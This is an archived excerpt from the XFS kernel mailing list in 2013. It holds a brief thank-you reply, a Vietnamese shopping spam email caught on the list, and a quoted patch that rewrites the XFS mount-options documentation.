Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1373403841-16612-1-git-send-email-david@fromorbit.com> User-Agent: Mutt/1.5.20 (2009-06-14) Hey Dave, On Wed, Jul 10, 2013 at 07:03:58AM +1000, Dave Chinner wrote: > I figured it was easiest for you to just repost all three remainng > patches for the 3.11 merge window that I have in one set. The dquot > log res patch has been updated to address Chandra's review. Much appreciated! Thanks, Ben From bounce-xfs=oss.sgi.com@mymail.vn Tue Jul 9 16:20:35 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: ** X-Spam-Status: No, score=2.6 required=5.0 tests=HTML_IMAGE_RATIO_08, HTML_MESSAGE,MIME_HTML_MOSTLY,MPART_ALT_DIFF,T_DKIM_INVALID autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 725A529E13 for ; Tue, 9 Jul 2013 16:20:35 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 0EF46AC002 for ; Tue, 9 Jul 2013 14:20:34 -0700 (PDT) X-ASG-Debug-ID: 1373404825-04bdf0233ed5d830001-NocioJ Received: from box11.justox.com (box11.justox.com [125.253.115.140]) by cuda.sgi.com with ESMTP id ytdZmapugQ1dnCIr for ; Tue, 09 Jul 2013 14:20:27 -0700 (PDT) X-Barracuda-Envelope-From: bounce-xfs=oss.sgi.com@mymail.vn X-Barracuda-Apparent-Source-IP: 125.253.115.140 DKIM-Signature: v=1; a=rsa-sha1; c=relaxed/relaxed; s=smail; d=justox.com; h=To:Subject:Message-ID:Date:From:Reply-To:MIME-Version:List-Unsubscribe:Content-Type:Content-Transfer-Encoding; bh=ARHauPyJtD/YQnbZlwHqw901EEs=; b=Nze4HbydRzY10q8ejJsDserVIBNB/OWtEpe3JrB2fz2sC30Eg1yl9aGAXmGHMXlD8hk3zE0KLtp5 lMf58LMnmDEz08XRr0VjQjQuZB0HCzcbeNilcGZ+lRLkiM38NYM2ASOj6hZw0FPp2IGT+zJZNQvh d8eJ5Wfn5OT5TAW7/xE= DomainKey-Signature: a=rsa-sha1; c=nofws; q=dns; s=smail; d=sieuthitainha.vn; b=TwjeE0e+/2FTJJ1qDHSiAf3rzfzlxVwq/RtMIPzJM+BNMos7qsxxchE1/tYPtRTVYeOv2i5R0JJL m3scSywU46FvpAfXAlYTgRsTlLuXI5v+cYFnKuIUUKaA+fHEPSg8bmep8sMecVLQs9K2FWELqmfY H5SaLotIFJ8x4KGqnoE=; Received: from internationaldigitaladvertising.com (125.253.115.140) by box11.justox.com id hrhv9q0001g6 for ; Wed, 10 Jul 2013 04:19:32 +0700 (envelope-from ) To: xfs@oss.sgi.com Subject: =?UTF-8?B?U+G6o24gcGjhuqltIGdpw6EgMS4wMDAgxJAsIENo4buJIGPDsyB04bqhaSBzaWV1dGhpdGFpbmhhLnZuIA==?= Message-ID: <7d5fbdcdbc79a15a0c6e3763b0d3a334@internationaldigitaladvertising.com> X-ASG-Orig-Subj: =?UTF-8?B?U+G6o24gcGjhuqltIGdpw6EgMS4wMDAgxJAsIENo4buJIGPDsyB04bqhaSBzaWV1dGhpdGFpbmhhLnZuIA==?= Date: Wed, 10 Jul 2013 04:19:32 +0700 From: "=?UTF-8?B?U2nDqnUgVGjhu4sgVOG6oWkgTmjDoC52bg==?=" Reply-To: info@sieuthitainha.vn MIME-Version: 1.0 X-Mailer-LID: 289 List-Unsubscribe: X-Mailer-RecptId: 13080369 X-Mailer-SID: 790 X-Mailer-Sent-By: 48 Content-Type: multipart/alternative; charset="UTF-8"; boundary="b1_562cef732c666279cd02dab99250213f" Content-Transfer-Encoding: 8bit X-Barracuda-Connect: box11.justox.com[125.253.115.140] X-Barracuda-Start-Time: 1373404826 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Barracuda-BRTS-Status: 1 X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-Spam-Score: 2.15 X-Barracuda-Spam-Status: No, SCORE=2.15 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC3_MV0164, DKIM_SIGNED, DKIM_VERIFIED, HTML_IMAGE_RATIO_08, HTML_MESSAGE, MIME_HTML_MOSTLY, MPART_ALT_DIFF X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.136295 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature 0.00 MIME_HTML_MOSTLY BODY: Multipart message mostly text/html MIME 0.00 HTML_IMAGE_RATIO_08 BODY: HTML has a low ratio of text to image area 0.00 HTML_MESSAGE BODY: HTML included in message 0.14 MPART_ALT_DIFF BODY: HTML and text parts are different 2.00 BSF_SC3_MV0164 Custom rule MV0164 --b1_562cef732c666279cd02dab99250213f Content-Type: text/plain; format=flowed; charset="UTF-8" Content-Transfer-Encoding: 8bit Your email client cannot read this email. To view it online, please go here: http://internationaldigitaladvertising.com/display.php?M=13080369&C=af6ca9927941e7a143308eaf7805f418&S=790&L=289&N=200 To stop receiving these emails:http://internationaldigitaladvertising.com/unsubscribe.php?M=13080369&C=af6ca9927941e7a143308eaf7805f418&L=289&N=790 --b1_562cef732c666279cd02dab99250213f Content-Type: text/html; charset="UTF-8" Content-Transfer-Encoding: 8bit Điu Tập đi cho bé 85.000đ, Đầm Voan Cổ Sam Chấm Bi lớn 145.000đ, Áo Voan Mulet 119.000đ
    www.sieuthitainha.vn

    Xin chào quí khách hàng thân thiết. 
    Vui lòng thêm địa chỉ donhang@sieuthitainha.vnvào danh bạ email của bạn để đảm bảo nhận được thông tin và đơn đặt hàng vào hộp thư. 
    Thư này được gửi từ www.sieuthitainha.vn 
    » Click vào đây để từ chối nhận Email

    ĐỊU TẬP ĐI CHO BÉ - Nâng
Đỡ Những Bước Đi Đầu Tiên Của Bé Thật Vững
Vàng Với Địu Tập Đi hàng đã có mặt
tại SieuThiTaiNha.VN Sản phẩm nổi bật hôm nay: ĐỊU TẬP ĐI CHO BÉ

    ĐỊU TẬP ĐI CHO BÉ - Nâng Đỡ Những Bước Đi Đầu Tiên Của Bé Thật Vững Vàng Với Địu Tập Đi hàng đã có mặt tại SieuThiTaiNha.VN

    Giá gốc Giảm Giá bán  
    180.000 52% 85.000 MUA NGAY
    ĐẦM DÂY KÉO NGỰC - Thiết
kế công sở cho ban 5 tự tin đến văn phòng với
vóc dáng tuyệt vời nhất... hàng đã
có mặt tại SieuThiTaiNha.VN Sản phẩm nổi bật hôm nay: ÐẦM DÂY KÉO NGỰC

    ĐẦM DÂY KÉO NGỰC - Thiết kế công sở cho ban 5 tự tin đến văn phòng với vóc dáng tuyệt vời nhất... hàng đã có mặt tại SieuThiTaiNha.VN

    Giá gốc Giảm Giá bán  
    290.000 48% 149.000 MUA NGAY
    BỘ ĐỒ THỂ THAO LẮP TÚI TRƯỚC
- Chất liệu coton co giãn thấm hút và mềm
mịn... hàng đã có mặt tại SieuThiTaiNha.VN Sản phẩm nổi bật hôm nay: BỘ ĐỒ THỂ THAO LẮP TÚI TRƯỚC

    BỘ ĐỒ THỂ THAO LẮP TÚI TRƯỚC - Chất liệu coton co giãn thấm hút và mềm mịn... hàng đã có mặt tại SieuThiTaiNha.VN

    Giá gốc Giảm Giá bán  
    250.000 52% 119.000 MUA NGAY
    TẤM LÓT TOILET CHO BÉ - Tập
cho bé thói quen đi vệ sinh như người lớn.
hàng đã có mặt tại SieuThiTaiNha.VN Sản phẩm nổi bật hôm nay: TẤM LÓT TOILET CHO BÉ

    TẤM LÓT TOILET CHO BÉ - Tập cho bé thói quen đi vệ sinh như người lớn. hàng đã có mặt tại SieuThiTaiNha.VN

    Giá gốc Giảm Giá bán  
    97.500 33% 65.000 MUA NGAY
    ĐẦM VOAN CHẤM BI CỔ SAM - Nhẹ
nhàng thướt tha với chiếc đầm làm bằng chất
liệu siêu... hàng đã có mặt tại
SieuThiTaiNha.VN Sản phẩm nổi bật hôm nay: ĐẦM VOAN CHẤM BI CỔ SAM

    ĐẦM VOAN CHẤM BI CỔ SAM - Nhẹ nhàng thướt tha với chiếc đầm làm bằng chất liệu siêu... hàng đã có mặt tại SieuThiTaiNha.VN

    Giá gốc Giảm Giá bán  
    250.000 42% 145.000 MUA NGAY
    ÁO THUN MULLET - Thời trang Fashion,
kiểu dáng đuôi dài... hàng đã
có mặt tại SieuThiTaiNha.VN Sản phẩm nổi bật hôm nay: ÁO THUN MULLET

    ÁO THUN MULLET - Thời trang Fashion, kiểu dáng đuôi dài... hàng đã có mặt tại SieuThiTaiNha.VN

    Giá gốc Giảm Giá bán  
    240.000 50% 119.000 MUA NGAY
    ĐẦM VOAN HỌA TIẾT HÌNH HỌC -
Phong cách hoàn toàn mới cho bạn gái mỗi
ngày thêm đẹp... hàng đã có mặt
tại SieuThiTaiNha.VN Sản phẩm nổi bật hôm nay: ĐẦM VOAN HỌA TIẾT HÌNH HỌC

    ĐẦM VOAN HỌA TIẾT HÌNH HỌC - Phong cách hoàn toàn mới cho bạn gái mỗi ngày thêm đẹp... hàng đã có mặt tại SieuThiTaiNha.VN

    Giá gốc Giảm Giá bán  
    310.000 48% 159.000 MUA NGAY
    ÁO SÁT NÁCH CÁCH
ĐIỆU VỚI DÂY KÉO VAI - Với phần tay áo
cánh én nhỏ và 2 dây kéo tạo cho
bạn kiểu dáng mới. hàng đã có mặt
tại SieuThiTaiNha.VN Sản phẩm nổi bật hôm nay: ÁO SÁT NÁCH CÁCH ĐIỆU VỚI DÂY KÉO VAI

    ÁO SÁT NÁCH CÁCH ĐIỆU VỚI DÂY KÉO VAI - Với phần tay áo cánh én nhỏ và 2 dây kéo tạo cho bạn kiểu dáng mới. hàng đã có mặt tại SieuThiTaiNha.VN

    Giá gốc Giảm Giá bán  
    220.000 52% 105.000 MUA NGAY
    ÁO KHOÁC 2 TÚI GIẢ -
Phong cách cá tính, lịch thiệp, phong nhã
cho văn phòng, dạo phố... hàng đã có
mặt tại SieuThiTaiNha.VN Sản phẩm nổi bật hôm nay: ÁO KHOÁC 2 TÚI GIẢ

    ÁO KHOÁC 2 TÚI GIẢ - Phong cách cá tính, lịch thiệp, phong nhã cho văn phòng, dạo phố... hàng đã có mặt tại SieuThiTaiNha.VN

    Giá gốc Giảm Giá bán  
    280.000 46% 149.000 MUA NGAY
    ÁO THUN CÁNH DƠI YELLOW BIRD -
Thể hiện nét tinh nghịch, năng động, tươi trẻ của
các bạn gái. hàng đã có mặt tại
SieuThiTaiNha.VN Sản phẩm nổi bật hôm nay: ÁO THUN CÁNH DƠI YELLOW BIRD

    ÁO THUN CÁNH DƠI YELLOW BIRD - Thể hiện nét tinh nghịch, năng động, tươi trẻ của các bạn gái. hàng đã có mặt tại SieuThiTaiNha.VN

    Giá gốc Giảm Giá bán  
    210.000 52% 99.000 MUA NGAY
    ĐẦM VOAN KAREN: thiết kế duyên
dáng, xu hướng thời trang mới... hàng đã
có mặt tại SieuThiTaiNha.VN Sản phẩm nổi bật hôm nay: ĐẦM VOAN KAREN

    ĐẦM VOAN KAREN: thiết kế duyên dáng, xu hướng thời trang mới... hàng đã có mặt tại SieuThiTaiNha.VN

    Giá gốc Giảm Giá bán  
    290.000 50% 145.000 MUA NGAY
    ÁO SƠ MI VOAN TAY CON - Phong
cách Hàn Quốc, thời trang và duyên
dáng... hàng đã có mặt tại
SieuThiTaiNha.VN Sản phẩm nổi bật hôm nay: ÁO SƠ MI VOAN TAY CON

    ÁO SƠ MI VOAN TAY CON - Phong cách Hàn Quốc, thời trang và duyên dáng... hàng đã có mặt tại SieuThiTaiNha.VN

    Giá gốc Giảm Giá bán  
    220.000 47% 115.000 MUA NGAY
    ÁO SƠ MI 2 LỚP DIAMOND - Kiểu
dáng Hàn Quốc mang đến phong cách sang trọng,
trẻ trung và nữ tính. hàng đã có
mặt tại SieuThiTaiNha.VN Sản phẩm nổi bật hôm nay: ÁO SƠ MI 2 LỚP DIAMOND

    ÁO SƠ MI 2 LỚP DIAMOND - Kiểu dáng Hàn Quốc mang đến phong cách sang trọng, trẻ trung và nữ tính. hàng đã có mặt tại SieuThiTaiNha.VN

    Giá gốc Giảm Giá bán  
    150.000 16% 125.000 MUA NGAY
    Combo 8 miếng lót giày silicon:
Giúp thông thoáng, thoải mái, chống đau
đôi bàn chân. Hàng đã có mặt
tại SieuThiTaiNha.VN Sản phẩm nổi bật hôm nay: Combo 8 miếng lót giày silicon

    Combo 8 miếng lót giày silicon: Giúp thông thoáng, thoải mái, chống đau đôi bàn chân. Hàng đã có mặt tại SieuThiTaiNha.VN

    Giá gốc Giảm Giá bán  
    90.000 38% 55.000 MUA NGAY
    KHĂN SIÊU THẤM. - GIÁ 1.000Đ
KHI ĐÃ MUA 1 ĐƠN HÀNG CÓ GIÁ TRỊ >
30.000Đ hàng đã có mặt tại SieuThiTaiNha.VN Sản phẩm nổi bật hôm nay: KHĂN SIÊU THẤM.

    KHĂN SIÊU THẤM. - GIÁ 1.000Đ KHI ĐÃ MUA 1 ĐƠN HÀNG CÓ GIÁ TRỊ > 30.000Đ hàng đã có mặt tại SieuThiTaiNha.VN

    Giá gốc Giảm Giá bán  
    50.000 98% 1.000 MUA NGAY
    KHĂN ĐA NĂNG - GIÁ 1.000Đ KHI
ĐÃ MUA 1 ĐƠN HÀNG CÓ GIÁ TRỊ > 30.000Đ
hàng đã có mặt tại SieuThiTaiNha.VN Sản phẩm nổi bật hôm nay: KHĂN ĐA NĂNG

    KHĂN ĐA NĂNG - GIÁ 1.000Đ KHI ĐÃ MUA 1 ĐƠN HÀNG CÓ GIÁ TRỊ > 30.000Đ hàng đã có mặt tại SieuThiTaiNha.VN

    Giá gốc Giảm Giá bán  
    50.000 98% 1.000 MUA NGAY
    BỘ DRAP TRẢI GIƯỜNG KATE gồm - 01 ra
bọc nệm + 02 áo gối nằm +01 vỏ gối ôm. hàng
đã có mặt tại SieuThiTaiNha.VN Sản phẩm nổi bật hôm nay: BỘ DRAP TRẢI GIƯỜNG KATE

    BỘ DRAP TRẢI GIƯỜNG KATE gồm - 01 ra bọc nệm + 02 áo gối nằm +01 vỏ gối ôm. hàng đã có mặt tại SieuThiTaiNha.VN

    Giá gốc Giảm Giá bán  
    250.000 44% 139.000 MUA NGAY
    DỤNG CỤ CHÀ MỤN CÁM -
GIÁ 1.000Đ KHI ĐÃ MUA 1 ĐƠN HÀNG CÓ
GIÁ TRỊ > 30.000Đ hàng đã có mặt tại
SieuThiTaiNha.VN Sản phẩm nổi bật hôm nay: DỤNG CỤ CHÀ MỤN CÁM

    DỤNG CỤ CHÀ MỤN CÁM - GIÁ 1.000Đ KHI ĐÃ MUA 1 ĐƠN HÀNG CÓ GIÁ TRỊ > 30.000Đ hàng đã có mặt tại SieuThiTaiNha.VN

    Giá gốc Giảm Giá bán  
    50.000 98% 1.000 MUA NGAY
    MIẾNG THÉP ĐA NĂNG - GIÁ
1.000Đ KHI ĐÃ MUA 1 ĐƠN HÀNG CÓ GIÁ TRỊ >
30.000Đ hàng đã có mặt tại SieuThiTaiNha.VN Sản phẩm nổi bật hôm nay: MIẾNG THÉP ĐA NĂNG

    MIẾNG THÉP ĐA NĂNG - GIÁ 1.000Đ KHI ĐÃ MUA 1 ĐƠN HÀNG CÓ GIÁ TRỊ > 30.000Đ hàng đã có mặt tại SieuThiTaiNha.VN

    Giá gốc Giảm Giá bán  
    50.000 98% 1.000 MUA NGAY
    KÉO LÀM BẾP ĐA NĂNG - Cắt
Xương, Kẹp Càng Cua, Khui Bia hàng đã có
mặt tại SieuThiTaiNha.VN Sản phẩm nổi bật hôm nay: KÉO LÀM BẾP ÐA NĂNG

    KÉO LÀM BẾP ĐA NĂNG - Cắt Xương, Kẹp Càng Cua, Khui Bia hàng đã có mặt tại SieuThiTaiNha.VN

    Giá gốc Giảm Giá bán  
    100.000 51% 49.000 MUA NGAY
    COMBO 3 HỘP NHỰA SUPER CLOCK - Bộ 3 hộp
nhựa tròn Super Look nấp gài chắc chắn, có
vạch chia đánh dấu thời gian. hàng đã
có mặt tại SieuThiTaiNha.VN Sản phẩm nổi bật hôm nay: COMBO 3 HỘP NHỰA SUPER CLOCK

    COMBO 3 HỘP NHỰA SUPER CLOCK - Bộ 3 hộp nhựa tròn Super Look nấp gài chắc chắn, có vạch chia đánh dấu thời gian. hàng đã có mặt tại SieuThiTaiNha.VN

    Giá gốc Giảm Giá bán  
    100.000 41% 59.000 MUA NGAY
    Bạt phủ xe gắn máy - giúp
che mưa, chống nắng, chống bụi. hàng đã có
mặt tại SieuThiTaiNha.VN Sản phẩm nổi bật hôm nay: Bạt phủ xe gắn máy

    Bạt phủ xe gắn máy - giúp che mưa, chống nắng, chống bụi. hàng đã có mặt tại SieuThiTaiNha.VN

    Giá gốc Giảm Giá bán  
    90.000 33% 60.000 MUA NGAY
    Combo 02 giấy dán nhiệt trang
trí nhà bếp - Chịu nhiệt tốt, chống thấm dầu
mỡ. hàng đã có mặt tại SieuThiTaiNha.VN Sản phẩm nổi bật hôm nay: Combo 02 giấy dán nhiệt trang trí nhà bếp

    Combo 02 giấy dán nhiệt trang trí nhà bếp - Chịu nhiệt tốt, chống thấm dầu mỡ. hàng đã có mặt tại SieuThiTaiNha.VN

    Giá gốc Giảm Giá bán  
    100.000 47% 53.000 MUA NGAY
    BỘ KỀM 10 MÓN - Giúp bạn
sạch sẽ trên từng chi tiết nhỏ. hàng đã
có mặt tại SieuThiTaiNha.VN Sản phẩm nổi bật hôm nay: BỘ KỀM 10 MÓN

    BỘ KỀM 10 MÓN - Giúp bạn sạch sẽ trên từng chi tiết nhỏ. hàng đã có mặt tại SieuThiTaiNha.VN

    Giá gốc Giảm Giá bán  
    100.000 45% 55.000 MUA NGAY
    Sở hữu 1/2 lít mật ong nguyên
chất - Nhiều tác dụng tốt cho sức khỏe. hàng
đã có mặt tại SieuThiTaiNha.VN Sản phẩm nổi bật hôm nay: Sở hữu 1/2 lít mật ong nguyên chất

    Sở hữu 1/2 lít mật ong nguyên chất - Nhiều tác dụng tốt cho sức khỏe. hàng đã có mặt tại SieuThiTaiNha.VN

    Giá gốc Giảm Giá bán  
    180.000 45% 99.000 MUA NGAY
    Combo 2 cây
tắm cao cấp - Loại bỏ tế bào chết ở những nơi
khó " kỳ" nhất. hàng đã có mặt
tại SieuThiTaiNha.VN Sản phẩm nổi bật hôm nay: Combo 2 cây tắm cao cấp

    Combo 2 cây tắm cao cấp - Loại bỏ tế bào chết ở những nơi khó " kỳ" nhất. hàng đã có mặt tại SieuThiTaiNha.VN

    Giá gốc Giảm Giá bán  
    120.000 42% 69.000 MUA NGAY
    ĐẦM VOAN THẮT NƠ SAU - Kiểu dáng
ôm chân quyến rũ tạo độ phồng cho trang phục
thêm xinh xắn. hàng đã có mặt tại
SieuThiTaiNha.VN Sản phẩm nổi bật hôm nay: ĐẦM VOAN THẮT NƠ SAU

    ĐẦM VOAN THẮT NƠ SAU - Kiểu dáng ôm chân quyến rũ tạo độ phồng cho trang phục thêm xinh xắn. hàng đã có mặt tại SieuThiTaiNha.VN

    Giá gốc Giảm Giá bán  
    250.000 44% 139.000 MUA NGAY
    ÐẦM VOAN TIỂU THƯ- Rực rỡ , xinh
tươi dưới nắng hè... hàng đã có mặt
tại SieuThiTaiNha.VN Sản phẩm nổi bật hôm nay: ÐẦM VOAN TIỂU THƯ

    ÐẦM VOAN TIỂU THƯ- Rực rỡ , xinh tươi dưới nắng hè... hàng đã có mặt tại SieuThiTaiNha.VN

    Giá gốc Giảm Giá bán  
    250.000 42% 145.000 MUA NGAY
    COMBO HỘP ĐỰNG CƠM VÀ NỒI ĐẤT
- Tiện lợi cho mọi nhà.... hàng đã có
mặt tại SieuThiTaiNha.VN Sản phẩm nổi bật hôm nay: COMBO HỘP ĐỰNG CƠM VÀ NỒI ĐẤT

    COMBO HỘP ĐỰNG CƠM VÀ NỒI ĐẤT - Tiện lợi cho mọi nhà.... hàng đã có mặt tại SieuThiTaiNha.VN

    Giá gốc Giảm Giá bán  
    200.000 50% 99.000 MUA NGAY
    BỘ GHÉP HÌNH 95 MÓN -
Rèn luyện sự phát triển thông minh cho
bé... hàng đã có mặt tại SieuThiTaiNha.VN Sản phẩm nổi bật hôm nay: BỘ GHÉP HÌNH 95 MÓN

    BỘ GHÉP HÌNH 95 MÓN - Rèn luyện sự phát triển thông minh cho bé... hàng đã có mặt tại SieuThiTaiNha.VN

    Giá gốc Giảm Giá bán  
    175.000 43% 99.000 MUA NGAY
    Truy cập www.sieuthitainha.vn để xem được nhiều sản phẩm hơn »

    SIEU THI TAI NHA . VN 
    ÐT : 0934.153.068-0934.153.268

    Email hổ trợ khách hàng: hotro@sieuthitainha.vn


    --b1_562cef732c666279cd02dab99250213f-- From bpm@sgi.com Tue Jul 9 16:37:04 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 85F1129E13 for ; Tue, 9 Jul 2013 16:37:04 -0500 (CDT) Received: from whiskey.americas.sgi.com (whiskey.americas.sgi.com [128.162.233.19]) by relay3.corp.sgi.com (Postfix) with ESMTP id E797FAC002; Tue, 9 Jul 2013 14:37:03 -0700 (PDT) Received: by whiskey.americas.sgi.com (Postfix, from userid 4600) id 850F9500B4B; Tue, 9 Jul 2013 16:37:03 -0500 (CDT) Date: Tue, 9 Jul 2013 16:37:03 -0500 From: Ben Myers To: Dave Chinner Cc: xfs@oss.sgi.com Subject: Re: [PATCH 1/3] xfs: update mount options documentation Message-ID: <20130709213703.GW20932@sgi.com> References: <1373403841-16612-1-git-send-email-david@fromorbit.com> <1373403841-16612-2-git-send-email-david@fromorbit.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1373403841-16612-2-git-send-email-david@fromorbit.com> User-Agent: Mutt/1.5.20 (2009-06-14) On Wed, Jul 10, 2013 at 07:03:59AM +1000, Dave Chinner wrote: > From: Dave Chinner > > Because it's horribly out of date. > > And mark various deprecated options as deprecated and give them a > removal date. > > Signed-off-by: Dave Chinner > Reviewed-by: Mark Tinguely > --- > Documentation/filesystems/xfs.txt | 317 +++++++++++++++++++++++++------------- > 1 file changed, 209 insertions(+), 108 deletions(-) > > diff --git a/Documentation/filesystems/xfs.txt b/Documentation/filesystems/xfs.txt > index 83577f0..12525b1 100644 > --- a/Documentation/filesystems/xfs.txt > +++ b/Documentation/filesystems/xfs.txt > @@ -18,6 +18,8 @@ Mount Options > ============= > > When mounting an XFS filesystem, the following options are accepted. > +For boolean mount options, the names with the (*) suffix is the > +default behaviour. > > allocsize=size > Sets the buffered I/O end-of-file preallocation size when > @@ -25,97 +27,128 @@ When mounting an XFS filesystem, the following options are accepted. > Valid values for this option are page size (typically 4KiB) > through to 1GiB, inclusive, in power-of-2 increments. > > - attr2/noattr2 > - The options enable/disable (default is disabled for backward > - compatibility on-disk) an "opportunistic" improvement to be > - made in the way inline extended attributes are stored on-disk. > - When the new form is used for the first time (by setting or > - removing extended attributes) the on-disk superblock feature > - bit field will be updated to reflect this format being in use. > + The default behaviour is for dynamic end-of-file > + preallocation size, which uses a set of heuristics to > + optimise the preallocation size based on the current > + allocation patterns within the file and the access patterns > + to the file. Specifying a fixed allocsize value turns off > + the dynamic behaviour. > + > + attr2 > + noattr2 > + The options enable/disable an "opportunistic" improvement to > + be made in the way inline extended attributes are stored > + on-disk. When the new form is used for the first time when > + attr2 is selected (either when setting or removing extended > + attributes) the on-disk superblock feature bit field will be > + updated to reflect this format being in use. > + > + The default behaviour is determined by the on-disk feature > + bit indicating that attr2 behaviour is active. If either > + mount option it set, then that becomes the new default used > + by the filesystem. > > CRC enabled filesystems always use the attr2 format, and so > will reject the noattr2 mount option if it is set. > > - barrier > - Enables the use of block layer write barriers for writes into > - the journal and unwritten extent conversion. This allows for > - drive level write caching to be enabled, for devices that > - support write barriers. > + barrier (*) > + nobarrier > + Enables/disables the use of block layer write barriers for > + writes into the journal and for data integrity operations. > + This allows for drive level write caching to be enabled, for > + devices that support write barriers. > > discard > - Issue command to let the block device reclaim space freed by the > - filesystem. This is useful for SSD devices, thinly provisioned > - LUNs and virtual machine images, but may have a performance > - impact. > - > - dmapi > - Enable the DMAPI (Data Management API) event callouts. > - Use with the "mtpt" option. > - > - grpid/bsdgroups and nogrpid/sysvgroups > - These options define what group ID a newly created file gets. > - When grpid is set, it takes the group ID of the directory in > - which it is created; otherwise (the default) it takes the fsgid > - of the current process, unless the directory has the setgid bit > - set, in which case it takes the gid from the parent directory, > - and also gets the setgid bit set if it is a directory itself. > - > - ihashsize=value > - In memory inode hashes have been removed, so this option has > - no function as of August 2007. Option is deprecated. > - > - ikeep/noikeep > - When ikeep is specified, XFS does not delete empty inode clusters > - and keeps them around on disk. ikeep is the traditional XFS > - behaviour. When noikeep is specified, empty inode clusters > - are returned to the free space pool. The default is noikeep for > - non-DMAPI mounts, while ikeep is the default when DMAPI is in use. > - > - inode64 > - Indicates that XFS is allowed to create inodes at any location > - in the filesystem, including those which will result in inode > - numbers occupying more than 32 bits of significance. This is > - the default allocation option. Applications which do not handle > - inode numbers bigger than 32 bits, should use inode32 option. > + nodiscard (*) > + Enable/disable the issuing of commands to let the block > + device reclaim space freed by the filesystem. This is > + useful for SSD devices, thinly provisioned LUNs and virtual > + machine images, but may have a performance impact. > + > + Note: It is currently recommended that you use the fstrim > + application to discard unused blocks rather than the discard > + mount option because the performance impact of this option > + is quite severe. > + > + grpid/bsdgroups > + nogrpid/sysvgroups (*) > + These options define what group ID a newly created file > + gets. When grpid is set, it takes the group ID of the > + directory in which it is created; otherwise it takes the > + fsgid of the current process, unless the directory has the > + setgid bit set, in which case it takes the gid from the > + parent directory, and also gets the setgid bit set if it is > + a directory itself. > + > + filestreams > + Make the data allocator use the filestreams allocation mode > + across the entire filesystem rather than just on directories > + configured to use it. > + > + ikeep > + noikeep (*) > + When ikeep is specified, XFS does not delete empty inode > + clusters and keeps them around on disk. When noikeep is > + specified, empty inode clusters are returned to the free > + space pool. > > inode32 > - Indicates that XFS is limited to create inodes at locations which > - will not result in inode numbers with more than 32 bits of > - significance. This is provided for backwards compatibility, since > - 64 bits inode numbers might cause problems for some applications > - that cannot handle large inode numbers. > - > - largeio/nolargeio > + inode64 (*) > + When inode32 is specified, it indicates that XFS limits > + inode creation to locations which will not result in inode > + numbers with more than 32 bits of significance. > + > + When inode64 is specified, it indicates that XFS is allowed > + to create inodes at any location in the filesystem, > + including those which will result in inode numbers occupying > + more than 32 bits of significance. > + > + inode32 is provided for backwards compatibility with older > + systems and applications, since 64 bits inode numbers might > + cause problems for some applications that cannot handle > + large inode numbers. If applications are in use which do > + not handle inode numbers bigger than 32 bits, the inode32 > + option should be specified. > + > + > + largeio > + nolargeio (*) > If "nolargeio" is specified, the optimal I/O reported in > - st_blksize by stat(2) will be as small as possible to allow user > - applications to avoid inefficient read/modify/write I/O. > - If "largeio" specified, a filesystem that has a "swidth" specified > - will return the "swidth" value (in bytes) in st_blksize. If the > - filesystem does not have a "swidth" specified but does specify > - an "allocsize" then "allocsize" (in bytes) will be returned > - instead. > - If neither of these two options are specified, then filesystem > - will behave as if "nolargeio" was specified. > + st_blksize by stat(2) will be as small as possible to allow > + user applications to avoid inefficient read/modify/write > + I/O. This is typically the page size of the machine, as > + this is the granularity of the page cache. > + > + If "largeio" specified, a filesystem that was created with a > + "swidth" specified will return the "swidth" value (in bytes) > + in st_blksize. If the filesystem does not have a "swidth" > + specified but does specify an "allocsize" then "allocsize" > + (in bytes) will be returned instead. Otherwise the behaviour > + is the same as if "nolargeio" was specified. > > logbufs=value > - Set the number of in-memory log buffers. Valid numbers range > - from 2-8 inclusive. > - The default value is 8 buffers for filesystems with a > - blocksize of 64KiB, 4 buffers for filesystems with a blocksize > - of 32KiB, 3 buffers for filesystems with a blocksize of 16KiB > - and 2 buffers for all other configurations. Increasing the > - number of buffers may increase performance on some workloads > - at the cost of the memory used for the additional log buffers > - and their associated control structures. > + Set the number of in-memory log buffers. Valid numbers > + range from 2-8 inclusive. > + > + The default value is 8 buffers. > + > + If the memory cost of 8 log buffers is too high on small > + systems, then it may be reduced at some cost to performance > + on metadata intensive workloads. The logbsize option below > + controls the size of each buffer and so is also relevent to > + this case. > > logbsize=value > - Set the size of each in-memory log buffer. > - Size may be specified in bytes, or in kilobytes with a "k" suffix. > - Valid sizes for version 1 and version 2 logs are 16384 (16k) and > - 32768 (32k). Valid sizes for version 2 logs also include > - 65536 (64k), 131072 (128k) and 262144 (256k). > - The default value for machines with more than 32MiB of memory > - is 32768, machines with less memory use 16384 by default. > + Set the size of each in-memory log buffer. The size may be > + specified in bytes, or in kilobytes with a "k" suffix. > + Valid sizes for version 1 and version 2 logs are 16384 (16k) > + and 32768 (32k). Valid sizes for version 2 logs also > + include 65536 (64k), 131072 (128k) and 262144 (256k). The > + logbsize must be an integer multiple of the log > + stripe unit configured at mkfs time. > + > + The default value for for version 1 logs is 32768, while the > + default value for version 2 logs is MAX(32768, log_sunit). > > logdev=device and rtdev=device > Use an external log (metadata journal) and/or real-time device. > 